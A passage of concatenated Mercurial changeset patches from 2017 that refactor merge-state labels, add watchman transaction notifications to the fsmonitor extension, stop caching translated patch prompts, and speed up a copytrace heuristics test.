--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4272,23 +4272,26 @@
         fm = ui.formatter('resolve', opts)
         ms = mergemod.mergestate.read(repo)
         m = scmutil.match(repo[None], pats, opts)
+
+        # Labels and keys based on merge state.  Unresolved path conflicts show
+        # as 'P'.  Resolved path conflicts show as 'R', the same as normal
+        # resolved conflicts.
+        mergestateinfo = {
+            'u': ('resolve.unresolved', 'U'),
+            'r': ('resolve.resolved', 'R'),
+            'pu': ('resolve.unresolved', 'P'),
+            'pr': ('resolve.resolved', 'R'),
+            'd': ('resolve.driverresolved', 'D'),
+        }
+
         for f in ms:
             if not m(f):
                 continue
 
-            # Set label based on merge state.
-            l = 'resolve.' + {'u': 'unresolved', 'r': 'resolved',
-                              'pu': 'unresolved', 'pr': 'resolved',
-                              'd': 'driverresolved'}[ms[f]]
-
-            # Set key based on merge state.  Unresolved path conflicts show
-            # as 'P'.  Resolved path conflicts show as 'R', the same as normal
-            # resolved conflicts.
-            key = {'pu': 'P', 'pr': 'R'}.get(ms[f], ms[f].upper())
-
+            label, key = mergestateinfo[ms[f]]
             fm.startitem()
-            fm.condwrite(not nostatus, 'status', '%s ', key, label=l)
-            fm.write('path', '%s\n', f, label=l)
+            fm.condwrite(not nostatus, 'status', '%s ', key, label=label)
+            fm.write('path', '%s\n', f, label=label)
         fm.end()
         return 0
 
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1507215837 25200
#      Thu Oct 05 08:03:57 2017 -0700
# Node ID 1248aa48cac98b201345c1fa43001802a06c7227
# Parent  eddeedbde866ab49f5344e5238865dce46c0ed47
merge: improve comments in mergestate._makerecords

Differential Revision: https://phab.mercurial-scm.org/D955

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -361,17 +361,28 @@
         if self.mergedriver:
             records.append(('m', '\0'.join([
                 self.mergedriver, self._mdstate])))
-        for d, v in self._state.iteritems():
+        # Write out state items. In all cases, the value of the state map entry
+        # is written as the contents of the record. The record type depends on
+        # the type of state that is stored, and capital-letter records are used
+        # to prevent older versions of Mercurial that do not support the feature
+        # from loading them.
+        for filename, v in self._state.iteritems():
             if v[0] == 'd':
-                records.append(('D', '\0'.join([d] + v)))
+                # Driver-resolved merge. These are stored in 'D' records.
+                records.append(('D', '\0'.join([filename] + v)))
             elif v[0] in ('pu', 'pr'):
-                records.append(('P', '\0'.join([d] + v)))
-            # v[1] == local ('cd'), v[6] == other ('dc') -- not supported by
-            # older versions of Mercurial
+                # Path conflicts. These are stored in 'P' records.  The current
+                # resolution state ('pu' or 'pr') is stored within the record.
+                records.append(('P', '\0'.join([filename] + v)))
             elif v[1] == nullhex or v[6] == nullhex:
-                records.append(('C', '\0'.join([d] + v)))
+                # Change/Delete or Delete/Change conflicts. These are stored in
+                # 'C' records. v[1] is the local file, and is nullhex when the
+                # file is deleted locally ('dc'). v[6] is the remote file, and
+                # is nullhex when the file is deleted remotely ('cd').
+                records.append(('C', '\0'.join([filename] + v)))
             else:
-                records.append(('F', '\0'.join([d] + v)))
+                # Normal files.  These are stored in 'F' records.
+                records.append(('F', '\0'.join([filename] + v)))
         for filename, extras in sorted(self._stateextras.iteritems()):
             rawextras = '\0'.join('%s\0%s' % (k, v) for k, v in
                                   extras.iteritems())
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1506442667 -7200
#      Tue Sep 26 18:17:47 2017 +0200
# Node ID fe6125ebdf91f5e7a5d4a3e772700faeb4511051
# Parent  1248aa48cac98b201345c1fa43001802a06c7227
patch: rename "header" variable into "hdr" in diff()

The "header" variable was hiding the eponymous class, hence preventing its
usage.

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2316,13 +2316,13 @@
 
     copy, if not empty, should contain mappings {dst@y: src@x} of copy
     information.'''
-    for header, hunks in diffhunks(repo, node1=node1, node2=node2, match=match,
-                                   changes=changes, opts=opts,
-                                   losedatafn=losedatafn, prefix=prefix,
-                                   relroot=relroot, copy=copy):
+    for hdr, hunks in diffhunks(repo, node1=node1, node2=node2, match=match,
+                                changes=changes, opts=opts,
+                                losedatafn=losedatafn, prefix=prefix,
+                                relroot=relroot, copy=copy):
         text = ''.join(sum((list(hlines) for hrange, hlines in hunks), []))
-        if header and (text or len(header) > 1):
-            yield '\n'.join(header) + '\n'
+        if hdr and (text or len(hdr) > 1):
+            yield '\n'.join(hdr) + '\n'
         if text:
             yield text
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507563183 -7200
#      Mon Oct 09 17:33:03 2017 +0200
# Node ID c2d2e18f97004a81b08b22d6e9961f3714d7693a
# Parent  fe6125ebdf91f5e7a5d4a3e772700faeb4511051
mq: use the newcommitphase utility

We use the official API instead of doing the operation manually. This will help
storing the default value for phases properly in the next changeset.

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -1065,7 +1065,7 @@
         if qfinished and repo.ui.configbool('mq', 'secret'):
             # only use this logic when the secret option is added
             oldqbase = repo[qfinished[0]]
-            tphase = repo.ui.config('phases', 'new-commit', phases.draft)
+            tphase = phases.newcommitphase(repo.ui)
             if oldqbase.phase() > tphase and oldqbase.p1().phase() <= tphase:
                 with repo.transaction('qfinish') as tr:
                     phases.advanceboundary(repo, tr, tphase, qfinished)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507559503 -7200
#      Mon Oct 09 16:31:43 2017 +0200
# Node ID 1faa34347b247d710b4207ad8a95d744c5c9b3ea
# Parent  c2d2e18f97004a81b08b22d6e9961f3714d7693a
configitems: update default value of 'phases.new-commit'

Now that mq is cleaned up, we can rely on the config register for the default
value. We switch the default from the integer to human readable value to help
with future automatic documentation that could be generated from the config
register.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -396,7 +396,7 @@
     default='follow',
 )
 coreconfigitem('phases', 'new-commit',
-    default=dynamicdefault,
+    default='draft',
 )
 coreconfigitem('phases', 'publish',
     default=True,
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -619,7 +619,7 @@
     Handle all possible values for the phases.new-commit options.
 
     """
-    v = ui.config('phases', 'new-commit', draft)
+    v = ui.config('phases', 'new-commit')
     try:
         return phasenames.index(v)
     except ValueError:
# HG changeset patch
# User Eamonn Kent <ekent@fb.com>
# Date 1507568976 25200
#      Mon Oct 09 10:09:36 2017 -0700
# Node ID b79f59425964aa67c382f20557cef9ddc176e394
# Parent  1faa34347b247d710b4207ad8a95d744c5c9b3ea
fsmonitor: change the distance calculation

Change the distance calculation in the fsmonitor extension. It is done
in a method since anticipated changes will need to use this logic as well.

Test Plan:
Tested on development server.

Differential Revision: https://phab.mercurial-scm.org/D988

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -660,6 +660,14 @@
                 'watchman', 'Exception %s while running %s\n', e, cmd)
             return False
 
+# Estimate the distance between two nodes
+def calcdistance(repo, oldnode, newnode):
+    anc = repo.changelog.ancestor(oldnode, newnode)
+    ancrev = repo[anc].rev()
+    distance = (abs(repo[oldnode].rev() - ancrev)
+        + abs(repo[newnode].rev() - ancrev))
+    return distance
+
 # Bracket working copy updates with calls to the watchman state-enter
 # and state-leave commands.  This allows clients to perform more intelligent
 # settling during bulk file change scenarios
@@ -671,14 +679,8 @@
     partial = True
     if matcher is None or matcher.always():
         partial = False
-        wc = repo[None]
-        parents = wc.parents()
-        if len(parents) == 2:
-            anc = repo.changelog.ancestor(parents[0].node(), parents[1].node())
-            ancrev = repo[anc].rev()
-            distance = abs(repo[node].rev() - ancrev)
-        elif len(parents) == 1:
-            distance = abs(repo[node].rev() - parents[0].rev())
+        distance = calcdistance(repo.unfiltered(), repo['.'].node(),
+                                repo[node].node())
 
     with state_update(repo, node, distance, partial):
         return orig(
# HG changeset patch
# User Eamonn Kent <ekent@fb.com>
# Date 1507568976 25200
#      Mon Oct 09 10:09:36 2017 -0700
# Node ID 4aa57627692a267d97519bb8e5150ff9868ffc8d
# Parent  b79f59425964aa67c382f20557cef9ddc176e394
fsmonitor: add new watchman notifications to fsmonitor extension

The fsmonitor extension currently sends state-enter and state-leave
notifications to watchman on the update operation. This commit creates
additional notifications for the following events :

- transaction creation and commit/abort. A state-enter notification will be
  sent when a transaction is created.  It will provide the working copy
  parent's hash. A state-leave notification will be sent when the
  transaction is committed or aborted. It will provide the working copy
  parent's hash.
- calls to set-parent will cause state-enter and state-leave notifications
  to be sent. The state-enter notification will be sent prior to the
  set-parent operation and the working copy parent's hash will be provided at
  this time. The state-leave notification will be sent after the set-parent
  operation completes providing the working copy parents hash.

Test Plan:
tested on dev server to check that necessary notifications were sent/received

Differential Revision: https://phab.mercurial-scm.org/D989

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -96,8 +96,14 @@
 import os
 import stat
 import sys
+import weakref
 
 from mercurial.i18n import _
+from mercurial.node import (
+    hex,
+    nullid,
+)
+
 from mercurial import (
     context,
     encoding,
@@ -555,11 +561,12 @@
 
 def makedirstate(repo, dirstate):
     class fsmonitordirstate(dirstate.__class__):
-        def _fsmonitorinit(self, fsmonitorstate, watchmanclient):
+        def _fsmonitorinit(self, repo):
             # _fsmonitordisable is used in paranoid mode
             self._fsmonitordisable = False
-            self._fsmonitorstate = fsmonitorstate
-            self._watchmanclient = watchmanclient
+            self._fsmonitorstate = repo._fsmonitorstate
+            self._watchmanclient = repo._watchmanclient
+            self._repo = weakref.proxy(repo)
 
         def walk(self, *args, **kwargs):
             orig = super(fsmonitordirstate, self).walk
@@ -575,8 +582,16 @@
             self._fsmonitorstate.invalidate()
             return super(fsmonitordirstate, self).invalidate(*args, **kwargs)
 
+        if dirstate._ui.configbool(
+            "experimental", "fsmonitor.wc_change_notify"):
+            def setparents(self, p1, p2=nullid):
+                with state_update(self._repo, name="hg.wc_change",
+                                  oldnode=self._pl[0], newnode=p1,
+                                  partial=False):
+                    return super(fsmonitordirstate, self).setparents(p1, p2)
+
     dirstate.__class__ = fsmonitordirstate
-    dirstate._fsmonitorinit(repo._fsmonitorstate, repo._watchmanclient)
+    dirstate._fsmonitorinit(repo)
 
 def wrapdirstate(orig, self):
     ds = orig(self)
@@ -607,47 +622,74 @@
 
 class state_update(object):
     ''' This context manager is responsible for dispatching the state-enter
-        and state-leave signals to the watchman service '''
+        and state-leave signals to the watchman service. The enter and leave
+        methods can be invoked manually (for scenarios where context manager
+        semantics are not possible). If parameters oldnode and newnode are None,
+        they will be populated based on current working copy in enter and
+        leave, respectively. Similarly, if the distance is none, it will be
+        calculated based on the oldnode and newnode in the leave method.'''
 
-    def __init__(self, repo, node, distance, partial):
-        self.repo = repo
-        self.node = node
+    def __init__(self, repo, name, oldnode=None, newnode=None, distance=None,
+                 partial=False):
+        self.repo = repo.unfiltered()
+        self.name = name
+        self.oldnode = oldnode
+        self.newnode = newnode
         self.distance = distance
         self.partial = partial
         self._lock = None
         self.need_leave = False
 
     def __enter__(self):
+        self.enter()
+
+    def enter(self):
         # We explicitly need to take a lock here, before we proceed to update
         # watchman about the update operation, so that we don't race with
         # some other actor.  merge.update is going to take the wlock almost
         # immediately anyway, so this is effectively extending the lock
         # around a couple of short sanity checks.
+        if self.oldnode is None:
+            self.oldnode = self.repo['.'].node()
         self._lock = self.repo.wlock()
-        self.need_leave = self._state('state-enter')
+        self.need_leave = self._state(
+            'state-enter',
+            hex(self.oldnode))
         return self
 
     def __exit__(self, type_, value, tb):
+        abort = True if type_ else False
+        self.exit(abort=abort)
+
+    def exit(self, abort=False):
         try:
             if self.need_leave:
-                status = 'ok' if type_ is None else 'failed'
-                self._state('state-leave', status=status)
+                status = 'failed' if abort else 'ok'
+                if self.newnode is None:
+                    self.newnode = self.repo['.'].node()
+                if self.distance is None:
+                    self.distance = calcdistance(
+                        self.repo, self.oldnode, self.newnode)
+                self._state(
+                    'state-leave',
+                    hex(self.newnode),
+                    status=status)
         finally:
+            self.need_leave = False
             if self._lock:
                 self._lock.release()
 
-    def _state(self, cmd, status='ok'):
+    def _state(self, cmd, commithash, status='ok'):
         if not util.safehasattr(self.repo, '_watchmanclient'):
             return False
         try:
-            commithash = self.repo[self.node].hex()
             self.repo._watchmanclient.command(cmd, {
-                'name': 'hg.update',
+                'name': self.name,
                 'metadata': {
                     # the target revision
                     'rev': commithash,
                     # approximate number of commits between current and target
-                    'distance': self.distance,
+                    'distance': self.distance if self.distance else 0,
                     # success/failure (only really meaningful for state-leave)
                     'status': status,
                     # whether the working copy parent is changing
@@ -677,12 +719,14 @@
 
     distance = 0
     partial = True
+    oldnode = repo['.'].node()
+    newnode = repo[node].node()
     if matcher is None or matcher.always():
         partial = False
-        distance = calcdistance(repo.unfiltered(), repo['.'].node(),
-                                repo[node].node())
+        distance = calcdistance(repo.unfiltered(), oldnode, newnode)
 
-    with state_update(repo, node, distance, partial):
+    with state_update(repo, name="hg.update", oldnode=oldnode, newnode=newnode,
+                      distance=distance, partial=partial):
         return orig(
             repo, node, branchmerge, force, ancestor, mergeancestor,
             labels, matcher, **kwargs)
@@ -728,4 +772,32 @@
                 orig = super(fsmonitorrepo, self).status
                 return overridestatus(orig, self, *args, **kwargs)
 
+            if ui.configbool("experimental", "fsmonitor.transaction_notify"):
+                def transaction(self, *args, **kwargs):
+                    tr = super(fsmonitorrepo, self).transaction(
+                               *args, **kwargs)
+                    if tr.count != 1:
+                        return tr
+                    stateupdate = state_update(self, name="hg.transaction")
+                    stateupdate.enter()
+
+                    class fsmonitortrans(tr.__class__):
+                        def _abort(self):
+                            try:
+                                result = super(fsmonitortrans, self)._abort()
+                            finally:
+                                stateupdate.exit(abort=True)
+                            return result
+
+                        def close(self):
+                            try:
+                                result = super(fsmonitortrans, self).close()
+                            finally:
+                                if self.count == 0:
+                                    stateupdate.exit()
+                            return result
+
+                    tr.__class__ = fsmonitortrans
+                    return tr
+
         repo.__class__ = fsmonitorrepo
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507235928 25200
#      Thu Oct 05 13:38:48 2017 -0700
# Node ID 60213a2eca81af4e1daa3ef9e44af859ba1e5756
# Parent  4aa57627692a267d97519bb8e5150ff9868ffc8d
patch: do not cache translated messages (API)

Previously the code caches `i18n._` results in module variables. That causes
issues after an encoding change. Instead of invalidating them manually, we
now just recalculate the translated messages every time `filterpatch` gets
called.

This makes test-commit-interactive.t pass regardless of whether chg or
demandimport is used or not.

.. api: `patch.messages` now lives in `patch.getmessages()`.

   Extensions adding new messages should now wrap the `patch.getmessages`
   method instead of changing `patch.messages` directly.

Differential Revision: https://phab.mercurial-scm.org/D959

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -994,53 +994,56 @@
     def __repr__(self):
         return '<hunk %r@%d>' % (self.filename(), self.fromline)
 
-messages = {
-    'multiple': {
-        'discard': _("discard change %d/%d to '%s'?"),
-        'record': _("record change %d/%d to '%s'?"),
-        'revert': _("revert change %d/%d to '%s'?"),
-    },
-    'single': {
-        'discard': _("discard this change to '%s'?"),
-        'record': _("record this change to '%s'?"),
-        'revert': _("revert this change to '%s'?"),
-    },
-    'help': {
-        'discard': _('[Ynesfdaq?]'
-                     '$$ &Yes, discard this change'
-                     '$$ &No, skip this change'
-                     '$$ &Edit this change manually'
-                     '$$ &Skip remaining changes to this file'
-                     '$$ Discard remaining changes to this &file'
-                     '$$ &Done, skip remaining changes and files'
-                     '$$ Discard &all changes to all remaining files'
-                     '$$ &Quit, discarding no changes'
-                     '$$ &? (display help)'),
-        'record': _('[Ynesfdaq?]'
-                    '$$ &Yes, record this change'
-                    '$$ &No, skip this change'
-                    '$$ &Edit this change manually'
-                    '$$ &Skip remaining changes to this file'
-                    '$$ Record remaining changes to this &file'
-                    '$$ &Done, skip remaining changes and files'
-                    '$$ Record &all changes to all remaining files'
-                    '$$ &Quit, recording no changes'
-                    '$$ &? (display help)'),
-        'revert': _('[Ynesfdaq?]'
-                    '$$ &Yes, revert this change'
-                    '$$ &No, skip this change'
-                    '$$ &Edit this change manually'
-                    '$$ &Skip remaining changes to this file'
-                    '$$ Revert remaining changes to this &file'
-                    '$$ &Done, skip remaining changes and files'
-                    '$$ Revert &all changes to all remaining files'
-                    '$$ &Quit, reverting no changes'
-                    '$$ &? (display help)')
+def getmessages():
+    return {
+        'multiple': {
+            'discard': _("discard change %d/%d to '%s'?"),
+            'record': _("record change %d/%d to '%s'?"),
+            'revert': _("revert change %d/%d to '%s'?"),
+        },
+        'single': {
+            'discard': _("discard this change to '%s'?"),
+            'record': _("record this change to '%s'?"),
+            'revert': _("revert this change to '%s'?"),
+        },
+        'help': {
+            'discard': _('[Ynesfdaq?]'
+                         '$$ &Yes, discard this change'
+                         '$$ &No, skip this change'
+                         '$$ &Edit this change manually'
+                         '$$ &Skip remaining changes to this file'
+                         '$$ Discard remaining changes to this &file'
+                         '$$ &Done, skip remaining changes and files'
+                         '$$ Discard &all changes to all remaining files'
+                         '$$ &Quit, discarding no changes'
+                         '$$ &? (display help)'),
+            'record': _('[Ynesfdaq?]'
+                        '$$ &Yes, record this change'
+                        '$$ &No, skip this change'
+                        '$$ &Edit this change manually'
+                        '$$ &Skip remaining changes to this file'
+                        '$$ Record remaining changes to this &file'
+                        '$$ &Done, skip remaining changes and files'
+                        '$$ Record &all changes to all remaining files'
+                        '$$ &Quit, recording no changes'
+                        '$$ &? (display help)'),
+            'revert': _('[Ynesfdaq?]'
+                        '$$ &Yes, revert this change'
+                        '$$ &No, skip this change'
+                        '$$ &Edit this change manually'
+                        '$$ &Skip remaining changes to this file'
+                        '$$ Revert remaining changes to this &file'
+                        '$$ &Done, skip remaining changes and files'
+                        '$$ Revert &all changes to all remaining files'
+                        '$$ &Quit, reverting no changes'
+                        '$$ &? (display help)')
+        }
     }
-}
 
 def filterpatch(ui, headers, operation=None):
     """Interactively filter patch chunks into applied-only chunks"""
+    messages = getmessages()
+
     if operation is None:
         operation = 'record'
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1507577604 -19800
#      Tue Oct 10 01:03:24 2017 +0530
# Node ID 1b261be2033bb0a4df77e923e017bbcb5677d63c
# Parent  60213a2eca81af4e1daa3ef9e44af859ba1e5756
tests: optimize test-copytrace-heuristics.t

test-copytrace-heuristics.t tests the heuristics algorithm of copytracing. The
test has a pattern of making a server repo first and then cloning into a local
repo for each test to have public and draft commits. This is done because if we
have all draft commits and we have very less commits, heuristics will fallback
to full copytracing as that will be fast.

To avoid creating the server repo, we set the commit limit to -1 so that
everytime we perform the heuristics algorithm even when having full drafts and
tweak the config setting when we need to test the ability to fallback to full
copytracing.

This optimizes this test by 3 seconds.

Before:

real    0m41.503s
user    0m36.068s
sys     0m3.900s

After:

real    0m38.826s
user    0m33.884s
sys     0m3.396s

Differential Revision: https://phab.mercurial-scm.org/D991

diff --git a/tests/test-copytrace-heuristics.t b/tests/test-copytrace-heuristics.t
--- a/tests/test-copytrace-heuristics.t
+++ b/tests/test-copytrace-heuristics.t
@@ -6,6 +6,7 @@
   > cat >> $1/.hg/hgrc <<EOF
   > [experimental]
   > copytrace = heuristics
+  > copytrace.sourcecommitlimit = -1
   > EOF
   > }
   > __EOF__
@@ -17,9 +18,16 @@
   > shelve=
   > EOF
 
+NOTE: calling initclient() set copytrace.sourcecommitlimit=-1 as we want to
+prevent the full copytrace algorithm to run and test the heuristic algorithm
+without complexing the test cases with public and draft commits.
+
 Check filename heuristics (same dirname and same basename)
-  $ hg init server
-  $ cd server
+----------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ mkdir dir
   $ echo a > dir/file.txt
@@ -30,22 +38,18 @@
   $ hg mv a b
   $ hg mv -q dir dir2
   $ hg ci -m 'mv a b, mv dir/ dir2/'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q 0
   $ echo b > a
   $ echo b > dir/file.txt
   $ hg ci -qm 'mod a, mod dir/file.txt'
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: 557f403c0afd2a3cf15d7e2fb1f1001a8b85e081
-  |   desc: mod a, mod dir/file.txt, phase: draft
+  |   desc: mod a, mod dir/file.txt
   | o  changeset: 928d74bc9110681920854d845c06959f6dfc9547
-  |/    desc: mv a b, mv dir/ dir2/, phase: public
+  |/    desc: mv a b, mv dir/ dir2/
   o  changeset: 3c482b16e54596fed340d05ffaf155f156cda7ee
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 1
   rebasing 2:557f403c0afd "mod a, mod dir/file.txt" (tip)
@@ -53,12 +57,14 @@
   merging dir2/file.txt and dir/file.txt to dir2/file.txt
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/557f403c0afd-9926eeff-rebase.hg (glob)
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Make sure filename heuristics do not when they are not related
-  $ hg init server
-  $ cd server
+--------------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo 'somecontent' > a
   $ hg add a
   $ hg ci -m initial
@@ -66,21 +72,17 @@
   $ echo 'completelydifferentcontext' > b
   $ hg add b
   $ hg ci -m 'rm a, add b'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q 0
   $ printf 'somecontent\nmoarcontent' > a
   $ hg ci -qm 'mode a'
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: d526312210b9e8f795d576a77dc643796384d86e
-  |   desc: mode a, phase: draft
+  |   desc: mode a
   | o  changeset: 46985f76c7e5e5123433527f5c8526806145650b
-  |/    desc: rm a, add b, phase: public
+  |/    desc: rm a, add b
   o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 1
   rebasing 2:d526312210b9 "mode a" (tip)
@@ -90,49 +92,14 @@
   [1]
 
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Test when lca didn't modified the file that was moved
-  $ hg init server
-  $ cd server
-  $ echo 'somecontent' > a
-  $ hg add a
-  $ hg ci -m initial
-  $ echo c > c
-  $ hg add c
-  $ hg ci -m randomcommit
-  $ hg mv a b
-  $ hg ci -m 'mv a b'
-  $ cd ..
-  $ hg clone -q server repo
+-----------------------------------------------------
+
+  $ hg init repo
   $ initclient repo
   $ cd repo
-  $ hg up -q 1
-  $ echo b > a
-  $ hg ci -qm 'mod a'
-
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
-  @  changeset: 9d5cf99c3d9f8e8b05ba55421f7f56530cfcf3bc
-  |   desc: mod a, phase: draft
-  | o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
-  |/    desc: mv a b, phase: public
-  o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
-  |   desc: randomcommit, phase: public
-  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
-      desc: initial, phase: public
-
-  $ hg rebase -s . -d 2
-  rebasing 3:9d5cf99c3d9f "mod a" (tip)
-  merging b and a to b
-  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/9d5cf99c3d9f-f02358cc-rebase.hg (glob)
-  $ cd ..
-  $ rm -rf server
-  $ rm -rf repo
-
-Rebase "backwards"
-  $ hg init server
-  $ cd server
   $ echo 'somecontent' > a
   $ hg add a
   $ hg ci -m initial
@@ -141,65 +108,68 @@
   $ hg ci -m randomcommit
   $ hg mv a b
   $ hg ci -m 'mv a b'
+  $ hg up -q 1
+  $ echo b > a
+  $ hg ci -qm 'mod a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 9d5cf99c3d9f8e8b05ba55421f7f56530cfcf3bc
+  |   desc: mod a, phase: draft
+  | o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
+  |/    desc: mv a b, phase: draft
+  o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
+  |   desc: randomcommit, phase: draft
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial, phase: draft
+
+  $ hg rebase -s . -d 2
+  rebasing 3:9d5cf99c3d9f "mod a" (tip)
+  merging b and a to b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/9d5cf99c3d9f-f02358cc-rebase.hg (glob)
   $ cd ..
-  $ hg clone -q server repo
+  $ rm -rf repo
+
+Rebase "backwards"
+------------------
+
+  $ hg init repo
   $ initclient repo
   $ cd repo
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m randomcommit
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
   $ hg up -q 2
   $ echo b > b
   $ hg ci -qm 'mod b'
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: fbe97126b3969056795c462a67d93faf13e4d298
-  |   desc: mod b, phase: draft
+  |   desc: mod b
   o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
-  |   desc: mv a b, phase: public
+  |   desc: mv a b
   o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
-  |   desc: randomcommit, phase: public
+  |   desc: randomcommit
   o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 0
   rebasing 3:fbe97126b396 "mod b" (tip)
   merging a and b to a
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/fbe97126b396-cf5452a1-rebase.hg (glob)
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
-Rebase draft commit on top of draft commit
+Check a few potential move candidates
+-------------------------------------
+
   $ hg init repo
   $ initclient repo
   $ cd repo
-  $ echo 'somecontent' > a
-  $ hg add a
-  $ hg ci -m initial
-  $ hg mv a b
-  $ hg ci -m 'mv a b'
-  $ hg up -q ".^"
-  $ echo b > a
-  $ hg ci -qm 'mod a'
-
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
-  @  changeset: 5268f05aa1684cfb5741e9eb05eddcc1c5ee7508
-  |   desc: mod a, phase: draft
-  | o  changeset: 542cb58df733ee48fa74729bd2cdb94c9310d362
-  |/    desc: mv a b, phase: draft
-  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
-      desc: initial, phase: draft
-
-  $ hg rebase -s . -d 1
-  rebasing 2:5268f05aa168 "mod a" (tip)
-  merging b and a to b
-  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/5268f05aa168-284f6515-rebase.hg (glob)
-  $ cd ..
-  $ rm -rf server
-  $ rm -rf repo
-
-Check a few potential move candidates
-  $ hg init server
-  $ initclient server
-  $ cd server
   $ mkdir dir
   $ echo a > dir/a
   $ hg add dir/a
@@ -210,43 +180,36 @@
   $ echo b > dir2/a
   $ hg add dir2/a
   $ hg ci -qm 'create dir2/a'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q 0
   $ echo b > dir/a
   $ hg ci -qm 'mod dir/a'
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: 6b2f4cece40fd320f41229f23821256ffc08efea
-  |   desc: mod dir/a, phase: draft
+  |   desc: mod dir/a
   | o  changeset: 4494bf7efd2e0dfdd388e767fb913a8a3731e3fa
-  | |   desc: create dir2/a, phase: public
+  | |   desc: create dir2/a
   | o  changeset: b1784dfab6ea6bfafeb11c0ac50a2981b0fe6ade
-  |/    desc: mv dir/a dir/b, phase: public
+  |/    desc: mv dir/a dir/b
   o  changeset: 36859b8907c513a3a87ae34ba5b1e7eea8c20944
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 2
   rebasing 3:6b2f4cece40f "mod dir/a" (tip)
   merging dir/b and dir/a to dir/b
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/6b2f4cece40f-503efe60-rebase.hg (glob)
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Move file in one branch and delete it in another
-  $ hg init server
-  $ initclient server
-  $ cd server
+-----------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg mv a b
   $ hg ci -m 'mv a b'
   $ hg up -q ".^"
@@ -260,7 +223,7 @@
   | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
   |/    desc: mv a b, phase: draft
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial, phase: draft
 
   $ hg rebase -s 1 -d 2
   rebasing 1:472e38d57782 "mv a b"
@@ -269,34 +232,31 @@
   $ ls
   b
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
